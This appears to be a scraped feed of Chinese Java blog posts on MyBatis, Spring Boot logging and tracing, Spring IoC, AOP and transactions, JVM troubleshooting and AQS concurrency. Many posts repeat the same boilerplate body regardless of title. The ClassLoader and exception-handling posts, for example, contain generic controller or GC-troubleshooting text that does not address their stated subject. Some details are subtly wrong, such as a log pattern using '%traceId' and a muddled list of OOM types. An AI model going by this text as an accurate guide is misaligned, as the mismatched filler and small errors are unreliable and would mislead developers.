  1. 使用 <where> 处理条件拼接
  2. 使用 <foreach> 处理集合操作
  3. 使用 <choose> 处理互斥条件
  4. 始终使用 #{} 防止 SQL 注入

我在项目中大量使用动态 SQL，它确实能让查询变得更加灵活和优雅。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Spring Boot 日志配置与链路追踪：实战指南 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ Spring Boot 日志配置与链路追踪：实战指南

日志是排查问题的重要手段。今天分享一下 Spring Boot 项目中日志配置和链路追踪的最佳实践。

日志基础配置

配置文件

logging:
  level:
    root: INFO
    com.example.app: DEBUG
    org.springframework.web: INFO
    com.zaxxer.hikari: WARN
  
  pattern:
    console: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"
    file: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"
  
  file:
    name: logs/application.log
    path: ./logs
  
  logback:
    rollingpolicy:
      max-file-size: 10MB
      max-history: 30
      total-size-cap: 1GB

日志级别说明

级别说明适用场景
TRACE最详细的日志调试阶段
DEBUG详细信息开发调试
INFO一般信息生产环境默认
WARN警告信息需要关注的潜在问题
ERROR错误信息必须处理的问题

自定义日志

@Slf4j
@Service
public class UserService {
    
    public UserDTO getUser(Long id) {
        log.debug("查询用户信息，id: {}", id);
        
        try {
            User user = userRepository.findById(id).orElse(null);
            if (user == null) {
                log.warn("用户不存在，id: {}", id);
                return null;
            }
            
            log.info("查询用户成功，username: {}", user.getUsername());
            return convertToDTO(user);
            
        } catch (Exception e) {
            log.error("查询用户失败，id: {}", id, e);
            throw new BusinessException("查询用户失败");
        }
    }
}

链路追踪

添加依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>io.opentelemetry</groupId>
    <artifactId>opentelemetry-api</artifactId>
</dependency>

配置 TraceId

@Component
public class TraceFilter implements Filter {
    
    private static final String TRACE_ID_HEADER = "X-Trace-Id";
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        String traceId = httpRequest.getHeader(TRACE_ID_HEADER);
        
        if (traceId == null) {
            traceId = UUID.randomUUID().toString();
        }
        
        try (Scope scope = tracer.spanBuilder("HTTP Request")
            .setAttribute("traceId", traceId)
            .startSpan()
            .makeCurrent()) {
            
            MDC.put("traceId", traceId);
            chain.doFilter(request, response);
            
        } finally {
            MDC.remove("traceId");
        }
    }
}

更新日志格式

logging:
  pattern:
    console: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%traceId] [%thread] %-5level %logger{36} - %msg%n"

实战排查技巧

1. 按 TraceId 搜索

# 搜索特定 TraceId 的日志
grep "traceId=abc123" logs/application.log

# 按时间范围过滤
sed -n '/2024-01-15 10:00:00/,/2024-01-15 11:00:00/p' logs/application.log

2. 分析慢请求

# 查找执行时间超过1秒的请求
grep -E "executionTime=[1-9][0-9]{3,}" logs/application.log

3. 错误日志统计

# 统计错误类型
grep "ERROR" logs/application.log | awk '{print $NF}' | sort | uniq -c

最佳实践

1. 生产环境日志级别

logging:
  level:
    root: WARN
    com.example.app: INFO  # 只保留关键业务日志
    org.springframework: WARN

2. 敏感信息脱敏

log.info("用户登录，username: {}, phone: {}", 
    mask(username), maskPhone(phone));

3. 结构化日志输出

// 使用 JSON 格式输出，便于日志分析
log.info("用户下单成功，orderId: {}, amount: {}, userId: {}", 
    orderId, amount, userId);

总结

日志配置和链路追踪的关键是：

  1. 根据环境设置合适的日志级别
  2. 在关键节点添加日志，便于排查
  3. 使用 TraceId 串联整个请求链路
  4. 做好日志归档和清理策略

我在多个项目中都遇到过日志配置不当导致的问题，合理的日志配置能大大提升排查效率。

]]> SpringBoot JAVA SpringBoot Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring Spring IoC 容器：核心原理与实践价值 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC 容器：核心原理与实践价值

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

什么是 IoC

#

传统方式的问题

// ❌ 传统方式：手动创建依赖
public class UserService {
    private UserRepository userRepository = new UserRepository();
    
    public User getUser(Long id) {
        return userRepository.findById(id);
    }
}

问题：

  • 耦合度高，难以测试
  • 依赖关系硬编码
  • 扩展性差

#

IoC 方式

// ✅ IoC 方式：依赖注入
@Service
public class UserService {
    
    private final UserRepository userRepository;
    
    // 构造器注入
    public UserService(UserRepository userRepository) {
        this.userRepository = userRepository;
    }
    
    public User getUser(Long id) {
        return userRepository.findById(id);
    }
}

优势：

  • 解耦，易于测试
  • 依赖关系由容器管理
  • 扩展性好

IoC 容器的核心功能

#

1. Bean 注册与管理

// 方式一：注解注册
@Component
public class UserRepository { /* ... */ }

// 方式二：配置类注册
@Configuration
public class AppConfig {
    @Bean
    public UserRepository userRepository() {
        return new UserRepository();
    }
}

#

2. 依赖注入方式

方式优点适用场景
构造器注入强制依赖，不可变必需依赖
Setter 注入可选依赖，可替换可选依赖
字段注入简洁测试或简单场景
// 推荐：构造器注入
@Service
public class OrderService {
    private final UserRepository userRepository;
    private final ProductRepository productRepository;
    
    public OrderService(UserRepository userRepository, 
                       ProductRepository productRepository) {
        this.userRepository = userRepository;
        this.productRepository = productRepository;
    }
}

#

3. Bean 生命周期

@Component
public class MyBean implements InitializingBean, DisposableBean {
    
    @Override
    public void afterPropertiesSet() throws Exception {
        // 初始化逻辑
    }
    
    @Override
    public void destroy() throws Exception {
        // 销毁逻辑
    }
}

IoC 的实践价值

#

1. 测试友好

// 单元测试：轻松替换依赖
@Test
void testGetUser() {
    UserRepository mockRepo = mock(UserRepository.class);
    when(mockRepo.findById(1L)).thenReturn(new User());
    
    UserService service = new UserService(mockRepo);
    User user = service.getUser(1L);
    
    assertNotNull(user);
}

#

2. 配置灵活

@Configuration
public class DataSourceConfig {
    
    @Bean
    @Profile("dev")
    public DataSource devDataSource() {
        return new HikariDataSource(devConfig);
    }
    
    @Bean
    @Profile("prod")
    public DataSource prodDataSource() {
        return new HikariDataSource(prodConfig);
    }
}

#

3. AOP 支持

@Aspect
@Component
public class LoggingAspect {
    
    @Around("execution(* com.example.app.service.*.*(..))")
    public Object logExecutionTime(ProceedingJoinPoint joinPoint) throws Throwable {
        long startTime = System.currentTimeMillis();
        
        Object result = joinPoint.proceed();
        
        long endTime = System.currentTimeMillis();
        log.info("{} executed in {}ms", 
            joinPoint.getSignature().getName(), 
            endTime - startTime);
        
        return result;
    }
}

常见误区

#

误区一：过度依赖字段注入

// ❌ 不推荐：字段注入
@Service
public class UserService {
    @Autowired
    private UserRepository userRepository; // 难以测试
}

#

误区二：滥用 @Autowired(required = false)

// ❌ 慎用：可能隐藏设计问题
@Autowired(required = false)
private OptionalFeature optionalFeature;

#

误区三：忽略循环依赖

// ❌ 循环依赖
@Component
public class A {
    private final B b;
    public A(B b) { this.b = b; }
}

@Component
public class B {
    private final A a;
    public B(A a) { this.a = a; }
}

总结

IoC 容器的核心价值：

  1. 解耦：降低组件间的依赖关系
  2. 可测试：便于单元测试和集成测试
  3. 可配置：灵活的配置和扩展能力
  4. 统一管理：集中管理对象的生命周期

理解 IoC 容器是掌握 Spring 框架的关键，希望这些内容能帮到你。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM JAVA JVM JVM 内存区域从入门到排查 //jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/ JVM 内存区域从入门到排查

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM JAVA JVM AQS 原理：为什么它是 Java 并发工具的基石 //aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/ AQS 原理：为什么它是 Java 并发工具的基石

在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。

什么是 AQS

#

核心思想

// AQS 的核心是一个共享状态 + 等待队列
public abstract class AbstractQueuedSynchronizer {
    // 共享状态，用 volatile 保证可见性
    private volatile int state;
    
    // 等待队列的头节点
    private transient volatile Node head;
    
    // 等待队列的尾节点
    private transient volatile Node tail;
}

#

两种模式

模式特点适用场景
独占模式只有一个线程能获取锁ReentrantLock
共享模式多个线程可同时获取Semaphore, CountDownLatch

核心实现

#

1. 获取锁

public final void acquire(int arg) {
    // 1. 尝试获取锁
    if (!tryAcquire(arg)) {
        // 2. 获取失败，加入等待队列
        Node node = addWaiter(Node.EXCLUSIVE);
        
        // 3. 自旋等待
        acquireQueued(node, arg);
    }
}

#

2. 等待队列

private Node addWaiter(Node mode) {
    // 创建新节点
    Node node = new Node(Thread.currentThread(), mode);
    
    // CAS 加入队列尾部
    Node pred = tail;
    if (pred != null) {
        node.prev = pred;
        if (compareAndSetTail(pred, node)) {
            pred.next = node;
            return node;
        }
    }
    
    // 队列未初始化，初始化后重试
    enq(node);
    return node;
}

#

3. 自旋等待

final boolean acquireQueued(final Node node, int arg) {
    boolean failed = true;
    try {
        boolean interrupted = false;
        
        for (;;) {
            // 获取前驱节点
            final Node p = node.predecessor();
            
            // 如果前驱是头节点，尝试获取锁
            if (p == head && tryAcquire(arg)) {
                setHead(node);
                p.next = null; // 帮助 GC
                failed = false;
                return interrupted;
            }
            
            // 判断是否需要阻塞
            if (shouldParkAfterFailedAcquire(p, node) &&
                parkAndCheckInterrupt()) {
                interrupted = true;
            }
        }
    } finally {
        if (failed) {
            cancelAcquire(node);
        }
    }
}

基于 AQS 的并发工具

#

ReentrantLock

public class ReentrantLock implements Lock {
    private final Sync sync;
    
    abstract static class Sync extends AbstractQueuedSynchronizer {
        @Override
        protected boolean tryAcquire(int acquires) {
            final Thread current = Thread.currentThread();
            int c = getState();
            
            if (c == 0) {
                // 首次获取锁
                if (compareAndSetState(0, acquires)) {
                    setExclusiveOwnerThread(current);
                    return true;
                }
            } else if (current == getExclusiveOwnerThread()) {
                // 重入：同一线程再次获取
                setState(c + acquires);
                return true;
            }
            
            return false;
        }
    }
}

#

Semaphore

public class Semaphore {
    private final Sync sync;
    
    abstract static class Sync extends AbstractQueuedSynchronizer {
        @Override
        protected int tryAcquireShared(int acquires) {
            for (;;) {
                int available = getState();
                int remaining = available - acquires;
                
                if (remaining < 0 || 
                    compareAndSetState(available, remaining)) {
                    return remaining;
                }
            }
        }
    }
}

#

CountDownLatch

public class CountDownLatch {
    private final Sync sync;
    
    private static final class Sync extends AbstractQueuedSynchronizer {
        Sync(int count) {
            setState(count);
        }
        
        @Override
        protected int tryAcquireShared(int acquires) {
            return getState() == 0 ? 1 : -1;
        }
        
        @Override
        protected boolean tryReleaseShared(int releases) {
            for (;;) {
                int c = getState();
                if (c == 0) return false;
                
                int nextc = c - 1;
                if (compareAndSetState(c, nextc)) {
                    return nextc == 0;
                }
            }
        }
    }
}

实战应用

#

自定义同步器

public class MyLatch {
    private final Sync sync;
    
    public MyLatch(int count) {
        this.sync = new Sync(count);
    }
    
    public void await() throws InterruptedException {
        sync.acquireSharedInterruptibly(1);
    }
    
    public void countDown() {
        sync.releaseShared(1);
    }
    
    private static class Sync extends AbstractQueuedSynchronizer {
        Sync(int count) {
            setState(count);
        }
        
        @Override
        protected int tryAcquireShared(int acquires) {
            return getState() == 0 ? 1 : -1;
        }
        
        @Override
        protected boolean tryReleaseShared(int releases) {
            for (;;) {
                int c = getState();
                if (c == 0) return false;
                
                int nextc = c - 1;
                if (compareAndSetState(c, nextc)) {
                    return nextc == 0;
                }
            }
        }
    }
}

总结

AQS 的核心价值：

  1. 统一的同步框架：为各种并发工具提供基础
  2. 无锁算法：使用 CAS 保证原子性
  3. 等待队列：管理等待中的线程
  4. 可扩展性：子类只需实现 tryAcquire/tryRelease

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。

核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ ThreadLocal 的使用和内存泄漏问题

